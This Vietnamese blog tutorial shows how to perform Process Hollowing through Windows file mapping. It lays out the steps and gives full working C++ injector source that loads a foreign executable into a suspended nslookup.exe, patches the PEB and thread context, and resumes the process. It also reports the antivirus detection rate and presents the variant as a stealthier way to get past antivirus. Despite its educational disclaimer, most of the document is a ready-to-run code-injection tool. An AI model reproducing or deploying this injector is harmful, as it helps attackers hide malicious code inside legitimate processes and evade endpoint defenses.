## Mở đầu Ở bài viết trước, mình đã giới thiệu chi tiết về cách triển khai kỹ thuật Process Hollowing, bạn đọc có thể đọc bài viết đó [tại đây](https://hackmd.io/@LeNhutHoang2112/Sk4ZLgGc6). Trong bài viết này, mình sẽ triển khai Process Hollowing thông qua cơ chế file mapping. Yah, bắt đầu thôi! :smile: <div style="text-align:center;"> <img src="https://i0.wp.com/24.media.tumblr.com/tumblr_mdn5s0Q7Ht1r66g9jo1_500.gif" alt=""> </div> ## Các bước thực hiện Dưới đây là các bước cụ thể để thực hiện kỹ thuật Process Hollowing thông qua cơ chế file mapping: **1. Tạo mới process:** injector tiến hành tạo target process ở trạng thái tạm dừng bằng API **CreateProcess()** với cờ **CREATE_SUSPENDED**. ![image](https://hackmd.io/_uploads/rJmbg5WxR.png) **2. Làm rỗng image:** injector sử dụng API **NtUnmapViewOfSection()** để làm rỗng image của target process. ![image](https://hackmd.io/_uploads/S17MecWlR.png) **3. Tạo và ánh xạ file mapping object vào injector:** injector tạo mới file mapping object bằng API **CreateFileMapping()** và sau đó ánh xạ file mapping này vào VAS (Virtual Address Space) bằng API **MapViewOfFile()**. ![image](https://hackmd.io/_uploads/SkSFgq-lA.png) **4. Ánh xạ file mapping vào target process:** injector tiến hành ánh xạ file mapping object của nó vào target process tại vị trí đã làm rỗng ở bước 2. Việc này hoàn toàn có thể thực hiện bằng API **NtMapViewOfSection()**. ![image](https://hackmd.io/_uploads/B1WBWqWxR.png) **5. Nạp image giả mạo vào target process:** injector tiến hành nạp các header, section và thực hiện quá trình relocation cho image giả mạo trong file mapping đã ánh xạ. ![image](https://hackmd.io/_uploads/Sy8TbcZg0.png) **6. Cập nhật context và tiếp tục quá trình khởi tạo:** injector lúc này sẽ cập nhật entry point, giá trị image base trong PEB nếu có và sau đó tiếp tục quá trình khởi tạo target process bằng API **ResumeThread()**. ![image](https://hackmd.io/_uploads/ByBmQ9-lR.png) ## Triển khai cụ thể Việc đầu tiên ta cần làm là tạo mới target process bằng API **CreateProcess()** với cờ **CREATE_SUSPENDED**. Tiếp theo, ta nạp raw image vào VAS của injector bằng API **CreateFile()**, **VirtualAlloc()**, **ReadFile()**. ![image](https://hackmd.io/_uploads/Bk1ZPLGxC.png) Sau đó, injector tạo một đối tượng file mapping bằng API **CreateFileMapping()** và đồng thời ánh xạ nó vào VAS của injector bằng API **MapViewOfFile()**. Ngoài ra, đối tượng file mapping này cũng được ánh xạ vào VAS của target process như là một section view bằng API **NtMapViewOfSection()**. Đáng lưu ý là chúng ta không làm rỗng image của target process và cũng không ánh xạ đối tượng file mapping vào vị trí image của target process trong trường hợp này. ![image](https://hackmd.io/_uploads/S1cfDLGl0.png) Tới thời điểm này, ta cần nạp các header và section vào đối tượng file mapping đã được khởi tạo trước đó. Vì file mapping cũng có tính chất đồng bộ giữa các process ánh xạ nó, nên các header và section này cũng được hiển thị trong section view của target process. ![image](https://hackmd.io/_uploads/HyTXvUfxA.png) Việc cần làm tiếp theo là thực hiện quá trình relocation bằng giá trị delta đã tính toán trước đó. Cách hoạt động của quá trình này đã được trình bày rất rõ trong bài viết [này](https://hackmd.io/@LeNhutHoang2112/Sk4ZLgGc6). Bạn đọc có thể tham khảo để hiểu rõ hơn. ![image](https://hackmd.io/_uploads/ByTVDLflA.png) Như đã đề cập trước đó, trong cách triển khai này, ta không làm rỗng image của target process và cũng không nạp raw image vào chính vị trí này. Thay vào đó, ta mong muốn ánh xạ raw image vào một vị trí khác so với vị trí image gốc của target process. Chính vì lý do này, ta phải cập nhật giá trị image base trong **PEB** của target process; nếu không cập nhật, sẽ gây ra tình trạng lỗi. Để lấy thông tin của PEB, chúng ta sử dụng API **NtQueryInformationProcess()** và **ReadProcessMemory()**. Sau đó, chúng ta cập nhật PEB bằng API **WriteProcessMemory()**. ![image](https://hackmd.io/_uploads/HJRvvUMxA.png) Khi đã cập nhật xong PEB, việc cuối cùng ta cần làm là cập nhật giá trị entry point thông qua context của target process bằng API **Wow64GetThreadContext()** và **Wow64SetThreadContext()**. Cuối cùng, ta thực hiện quá trình khởi tạo còn lại của target process bằng API **ResumeThread()**. ![image](https://hackmd.io/_uploads/Hyg8Muzg0.png) Về phần raw image, chức năng cơ bản của nó chỉ là tạo mới một process notepad. ![image](https://hackmd.io/_uploads/ry6MYC010.png) Dưới đây là đoạn code đầy đủ được dùng để triển khai kỹ thuật Process Hollowing thông qua cơ chế file mapping mà mình vừa đề cập. ```cpp= #include<stdio.h> #include<Windows.h> #include<winternl.h> #include<winnt.h> #pragma comment(lib, "ntdll") #define CURRENT_PROCESS -1 #define BREAK_WITH_ERROR(m) {printf("[-] %s! Error 0x%x", m, GetLastError()); break;} #define BREAK_WITH_STATUS(m, s) {printf("[-] %s! Error 0x%x", m, s); break;} typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pBuffer; } UNICODE_STR, * PUNICODE_STR; typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK* pNext; DWORD dwSize; } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; typedef struct __PEB { BYTE bInheritedAddressSpace; BYTE bReadImageFileExecOptions; BYTE bBeingDebugged; BYTE bSpareBool; LPVOID lpMutant; LPVOID lpImageBaseAddress; PPEB_LDR_DATA pLdr; LPVOID lpProcessParameters; LPVOID lpSubSystemData; LPVOID lpProcessHeap; PRTL_CRITICAL_SECTION pFastPebLock; LPVOID lpFastPebLockRoutine; LPVOID lpFastPebUnlockRoutine; DWORD dwEnvironmentUpdateCount; LPVOID lpKernelCallbackTable; DWORD dwSystemReserved; DWORD dwAtlThunkSListPtr32; PPEB_FREE_BLOCK pFreeList; DWORD dwTlsExpansionCounter; LPVOID lpTlsBitmap; DWORD dwTlsBitmapBits[2]; LPVOID lpReadOnlySharedMemoryBase; LPVOID lpReadOnlySharedMemoryHeap; LPVOID lpReadOnlyStaticServerData; LPVOID lpAnsiCodePageData; LPVOID lpOemCodePageData; LPVOID lpUnicodeCaseTableData; DWORD dwNumberOfProcessors; DWORD dwNtGlobalFlag; LARGE_INTEGER liCriticalSectionTimeout; DWORD dwHeapSegmentReserve; DWORD dwHeapSegmentCommit; DWORD dwHeapDeCommitTotalFreeThreshold; DWORD dwHeapDeCommitFreeBlockThreshold; DWORD dwNumberOfHeaps; DWORD dwMaximumNumberOfHeaps; LPVOID lpProcessHeaps; LPVOID lpGdiSharedHandleTable; LPVOID lpProcessStarterHelper; DWORD dwGdiDCAttributeList; LPVOID lpLoaderLock; DWORD dwOSMajorVersion; DWORD dwOSMinorVersion; WORD wOSBuildNumber; WORD wOSCSDVersion; DWORD dwOSPlatformId; DWORD dwImageSubsystem; DWORD dwImageSubsystemMajorVersion; DWORD dwImageSubsystemMinorVersion; DWORD dwImageProcessAffinityMask; DWORD dwGdiHandleBuffer[34]; LPVOID lpPostProcessInitRoutine; LPVOID lpTlsExpansionBitmap; DWORD dwTlsExpansionBitmapBits[32]; DWORD dwSessionId; ULARGE_INTEGER liAppCompatFlags; ULARGE_INTEGER liAppCompatFlagsUser; LPVOID lppShimData; LPVOID lpAppCompatInfo; UNICODE_STR usCSDVersion; LPVOID lpActivationContextData; LPVOID lpProcessAssemblyStorageMap; LPVOID lpSystemDefaultActivationContextData; LPVOID lpSystemAssemblyStorageMap; DWORD dwMinimumStackCommit; } _PEB, * _PPEB; typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT, * PSECTION_INHERIT; typedef NTSTATUS(NTAPI* pfnNtCreateSection)( OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL ); typedef NTSTATUS(NTAPI* pfnNtMapViewOfSection)( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress OPTIONAL, IN ULONG ZeroBits OPTIONAL, IN ULONG CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PULONG ViewSize, IN DWORD InheritDisposition, IN ULONG AllocationType OPTIONAL, IN ULONG Protect ); typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); int main() { BOOL returnStatus = FALSE; NTSTATUS status = 0; HMODULE hNtdll = NULL; pfnNtQueryInformationProcess pNtQueryInformationProcess = NULL; pfnNtMapViewOfSection pNtMapViewOfSection = NULL; pfnNtUnmapViewOfSection pNtUnmapViewOfSection = NULL; WCHAR desImagePath[] = L"C:\\Windows\\System32\\nslookup.exe"; STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; WCHAR sourceImagePath[] = L"C:\\Users\\Hii\\Desktop\\syaoren2.exe"; HANDLE hSourceImage = NULL; UINT_PTR sourceImage = NULL; UINT_PTR sourceImageSize = 0; HANDLE hDesImage = NULL; UINT_PTR desImage = NULL; do { if (!(hNtdll = GetModuleHandleW(L"ntdll"))) BREAK_WITH_ERROR("Failed to get ntdll path"); if (!(pNtQueryInformationProcess = GetProcAddress(hNtdll, "NtQueryInformationProcess"))) BREAK_WITH_ERROR("Failed to get NtQueryInformationProcess()"); if (!(pNtMapViewOfSection = GetProcAddress(hNtdll, "NtMapViewOfSection"))) BREAK_WITH_ERROR("Failed to get NtMapViewOfSection()"); if (!(pNtUnmapViewOfSection = GetProcAddress(hNtdll, "NtUnmapViewOfSection"))) BREAK_WITH_ERROR("Failed to get NtUnmapViewOfSection()"); // Create target process if (!CreateProcessW(desImagePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) BREAK_WITH_ERROR("Failed to create new process"); // Load source image hSourceImage = CreateFileW(sourceImagePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hSourceImage == INVALID_HANDLE_VALUE) BREAK_WITH_ERROR("Failed to open source image"); sourceImageSize = GetFileSize(hSourceImage, NULL); if (!(sourceImage = VirtualAlloc(NULL, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) BREAK_WITH_ERROR("Failed to allocate buffer for source image"); if (!ReadFile(hSourceImage, sourceImage, sourceImageSize, NULL, NULL)) BREAK_WITH_ERROR("Failed to read source image"); // Allocate buffer PIMAGE_DOS_HEADER dosHeader = sourceImage; PIMAGE_NT_HEADERS ntHeader = (UINT_PTR)dosHeader + dosHeader->e_lfanew; UINT_PTR desImageSize = ntHeader->OptionalHeader.SizeOfImage; if (!(hDesImage = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, desImageSize, NULL))) BREAK_WITH_ERROR("Failed to create destination image"); if (!(desImage = MapViewOfFile(hDesImage, FILE_MAP_WRITE, 0, 0, desImageSize))) BREAK_WITH_ERROR("Failed to map destination image to current process"); // Map destination image to target process UINT_PTR sectionView = NULL; UINT_PTR sectionSize = desImageSize; LARGE_INTEGER viewSize = { sectionSize }; status = pNtMapViewOfSection(hDesImage, pi.hProcess, &sectionView, 0, sectionSize, NULL, &sectionSize, ViewUnmap, 0, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) BREAK_WITH_ERROR("Failed to map destination image to target process"); // Update image base UINT_PTR denta = sectionView - ntHeader->OptionalHeader.ImageBase; ntHeader->OptionalHeader.ImageBase = sectionView; // Inject header RtlCopyMemory(desImage, sourceImage, ntHeader->OptionalHeader.SizeOfHeaders); // Map section and locate relocation table CHAR sectionName[] = ".reloc"; PBASE_RELOCATION_BLOCK relocBlock = NULL; UINT_PTR relocSize = 0; PIMAGE_SECTION_HEADER sectionHeader = (UINT_PTR)ntHeader + sizeof(*ntHeader); UINT_PTR sourceSection = 0, desSection = 0; for (UINT_PTR i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) { sourceSection = (UINT_PTR)dosHeader + sectionHeader[i].PointerToRawData; desSection = desImage + sectionHeader[i].VirtualAddress; RtlCopyMemory(desSection, sourceSection, sectionHeader[i].SizeOfRawData); if (!memcmp(sectionHeader[i].Name, sectionName, sizeof(sectionName))) { relocBlock = sourceSection; relocSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; } } // Relocation UINT_PTR relocOffset = 0; while (relocOffset < relocSize) { PBASE_RELOCATION_ENTRY relocEntry = (UINT_PTR)relocBlock + sizeof(*relocBlock); UINT_PTR numEntry = (relocBlock->BlockSize - sizeof(*relocBlock)) / sizeof(*relocEntry); for (UINT_PTR i = 0; i < numEntry; i++) { if (IMAGE_REL_BASED_ABSOLUTE == relocEntry->Type) continue; UINT_PTR relocPos = desImage + relocBlock->PageAddress + relocEntry[i].Offset; *((UINT_PTR*)relocPos) = *((UINT_PTR*)relocPos) + denta; } relocOffset += relocBlock->BlockSize; relocBlock = (UINT_PTR)relocBlock + relocBlock->BlockSize; } // Update PEB _PEB peb = { 0 }; PROCESS_BASIC_INFORMATION pbi = { 0 }; UINT_PTR pbiLength = sizeof(pbi); status = pNtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, pbiLength, &pbiLength); if (!NT_SUCCESS(status)) BREAK_WITH_ERROR("Failed to get target process information"); if (!ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) BREAK_WITH_ERROR("Failed to get PEB"); peb.lpImageBaseAddress = sectionView; if (!WriteProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) BREAK_WITH_ERROR("Failed to write PEB"); // update context CONTEXT context = { CONTEXT_FULL }; if (!Wow64GetThreadContext(pi.hThread, &context)) BREAK_WITH_ERROR("Failed to get thread context"); context.Eax = sectionView + ntHeader->OptionalHeader.AddressOfEntryPoint; if (!Wow64SetThreadContext(pi.hThread, &context)) BREAK_WITH_ERROR("Failed to set thread context"); ResumeThread(pi.hThread); } while (0); if (hSourceImage != INVALID_HANDLE_VALUE) CloseHandle(hSourceImage); if (pi.hThread) CloseHandle(pi.hThread); if (pi.hProcess) CloseHandle(pi.hProcess); if (hDesImage) UnmapViewOfFile(sourceImage); if (hDesImage) CloseHandle(hDesImage); return 0; } ``` ## Kết quả Sau khi chạy injector thì ta có thể thấy rằng có một process notepad.exe được tạo ra. ![image](https://hackmd.io/_uploads/SJ4oRLfx0.png) Sử dụng công cụ Process Hacker để kiểm tra thì thấy rằng target process là **nslookup.exe** đã tạo ra một process notepad.exe đúng như mong đợi. :smiling_face_with_smiling_eyes_and_hand_covering_mouth: ![image](https://hackmd.io/_uploads/SJh0kvGgC.png) Thử kiểm tra VAS của nslookup.exe thì ta thấy có một vùng nhớ có cả ba phân quyền là **RWX**, dễ thấy rằng nội dung của bộ nhớ này chính là image giả mạo mà ta đã chèn vào nslookup.exe. Vậy là ta đã thực hiện kỹ thuật này một cách thành công. ![image](https://hackmd.io/_uploads/BJRzlvfxC.png) Theo report của virustotal, có 21/70 AV đã phát hiện injector của ta là malware. ![image](https://hackmd.io/_uploads/BybAxPGgA.png) https://www.virustotal.com/gui/file/2555756ccb4eedd7f151da1474febc7db04e9d4a21087af5c0f777b5c25d7aa9?nocache=1 ## Kết luận Trong bài viết này, mình đã giới thiệu và triển khai kỹ thuật Process Hollowing thông qua cơ chế file mapping. Đồng thời, mình đã biến tấu cách triển khai kỹ thuật này một cách tinh vi hơn so với các cách triển khai truyền thống. Độc giả có thể dễ bắt gặp các tình huống tương tự trong các mẫu malware thực tế khi chúng cố gắng triển khai các kỹ code injection một cách tinh vi nhằm qua mặt các AV. :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. ::: ## Tham khảo 1. https://github.com/m0n0ph1/Process-Hollowing 2. https://docs.google.com/viewerng/viewer?url=https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf 3. https://github.com/ldpreload/BlackLotus